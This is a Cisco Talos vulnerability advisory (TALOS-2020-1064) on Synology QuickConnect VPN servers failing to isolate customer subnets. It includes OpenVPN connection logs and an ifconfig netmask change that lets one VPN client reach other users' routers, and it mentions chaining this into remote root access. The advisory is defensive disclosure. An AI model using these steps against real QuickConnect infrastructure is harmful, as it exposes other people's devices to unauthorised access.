Talos Vulnerability Report

TALOS-2020-1064

Synology QuickConnect servers network misconfiguration vulnerability

OCTOBER 29, 2020

Summary

An exploitable network misconfiguration vulnerability exists in the VPN servers of Synology QuickConnect. The server does not enforce proper subnetting, allowing an attacker to reach any device connected to the VPN. To abuse this vulnerability, the attacker needs to change their subnet.

Tested Versions

Synology QuickConnect servers

Product URLs

https://quickconnect.to

CVSSv3 Score

6.5 - CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:L

CWE

CWE-300 - Channel Accessible by Non-Endpoint (‘Man-in-the-Middle’)

Details

Synology QuickConnect is a service that allows users to access Synology devices (routers, NAS, etc.) remotely. This feature requires a Synology account and users have to set it up from the device’s Web interface in order to use it. The setup also requires the user to choose an arbitrary “QuickConnect ID”, which will be used as a remote identifier for the device.

This advisory has been tested against a Synology SRM RT2600ac router with the QuickConnect feature enabled.
After activation, the user is presented with a link that can be used to connect from anywhere via a browser, example: “http://QuickConnect.to/qcrouterid”, where “qcrouterid” is the previously chosen identifier. When browsing this link, the router is instructed (via a previously-established channel between router and Synology servers) to establish a VPN connection with the remote QuickConnect endpoint. At this point, requests performed by the browser will be relayed to the internal router Web interface on port 8001 by default (SSL).

The VPN connection is established using OpenVPN in client mode. Once connected, the router gets an IP address for a subnet in the 169.254.0.0/16 network:

```
SynologyRouter> ip addr
...
36: tun1000: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1400 qdisc fq_codel state UNKNOWN group default qlen 100
link/none
inet 169.254.171.94/21 brd 169.254.175.255 scope global tun1000
   valid_lft forever preferred_lft forever
...
```

The subnet in the example above is /21, however the subnet assigned is not fixed, in fact if the router re-connects to the VPN, it will be assigned an IP address in a different subnet. The assignment is made dynamically and is meant to separate the various QuickConnect connections.

In reality, the subnets are not logically split, meaning that it’s enough to change the netmask to be able to talk with any other router connected to the same VPN.

As an example, an attacker connects to the VPN and gets an IP in a different subnet:

```
# openvpn --client --mute-replay-warnings --auth-nocache --nobind --tun-mtu 1400 --ping-exit 10 --connect-retry-max 3 --proto udp --remote
[quickconnect_ip] --port 443 --dev tun1000 --ca synology_ca.crt --script-security 2 --auth-user-pass /tmp/quickconnect_openvpn_auth --remap-
usr1 SIGTERM --cipher none --comp-lzo adaptive --reneg-sec 0 --verb 5 --allow-recursive-routing --route-up /etc/openvpn/up.sh
...
WRRTue Apr 28 12:10:40 2020 us=460581 PUSH: Received control message: 'PUSH_REPLY,topology subnet,comp-lzo no,route 169.254.176.0
255.255.248.0,tun-ipv6,route-gateway 169.254.176.1,topology subnet,ping 10,ping-restart 60,ifconfig-ipv6 fec0:a2b2:8::1283/112
fec0:a2b2:8::1,ifconfig 169.254.178.133 255.255.248.0,peer-id 129,cipher AES-256-GCM'
...
Tue Apr 28 12:10:40 2020 us=464842 TUN/TAP device tun1000 opened
Tue Apr 28 12:10:40 2020 us=465198 TUN/TAP TX queue length set to 100
Tue Apr 28 12:10:40 2020 us=465255 do_ifconfig, tt->did_ifconfig_ipv6_setup=1
Tue Apr 28 12:10:40 2020 us=465284 /usr/bin/ip link set dev tun1000 up mtu 1400
Tue Apr 28 12:10:40 2020 us=471443 /usr/bin/ip addr add dev tun1000 169.254.178.133/21 broadcast 169.254.183.255
Tue Apr 28 12:10:40 2020 us=474473 /usr/bin/ip -6 addr add fec0:a2b2:8::1283/112 dev tun1000
Tue Apr 28 12:10:40 2020 us=476307 /usr/bin/ip route add 169.254.176.0/21 via 169.254.176.1
Tue Apr 28 12:10:40 2020 us=491547 Initialization Sequence Completed

# ip route | grep 169
169.254.136.0/21 dev tun1000 proto kernel scope link src 169.254.143.54
```

Note that the attacker’s IP is in a different subnet than the victim router and so it can’t reach it:

```
# ping -c1 -w1 169.254.171.94
PING 169.254.171.94 (169.254.171.94) 56(84) bytes of data.

--- 169.254.171.94 ping statistics ---
1 packets transmitted, 0 received, 100% packet loss, time 0ms
```

However, by enlarging the netmask the victim router becomes reachable:

```
# ifconfig tun1000 netmask 255.255.0.0
# ping -c1 -w1 169.254.171.94
PING 169.254.171.94 (169.254.171.94) 56(84) bytes of data.
64 bytes from 169.254.171.94: icmp_seq=1 ttl=63 time=45.3 ms

--- 169.254.171.94 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 45.296/45.296/45.296/0.000 ms
```

An attacker can thus scan the whole 169.254.0.0/24 subnet to discover new routers and possibly chain other attacks, as shown in TALOS-2020-1066 and TALOS-2020-1065. In fact, chaining these three issues together would allow a non-authenticated attacker to remotely execute arbitrary commands as root in any router connected to the QuickConnect VPN.

Note that an attacker could enter the QuickConnect VPN either by simply owning a router and connecting to it via SSH, or, alternatively, using the bug described in TALOS-2020-1058.

Timeline

2020-05-04 - Vendor disclosure
2020-06-02 - Disclosure release deadline requested and Talos extended to 2020-09-30
2020-06-22 - 2nd extension requested; disclosure extended to 2020-10-30
2020-10-29 - Public Release

CREDIT

Discovered by Claudio Bozzato of Cisco Talos.

This vulnerability has not been disclosed and cannot be viewed at this time.
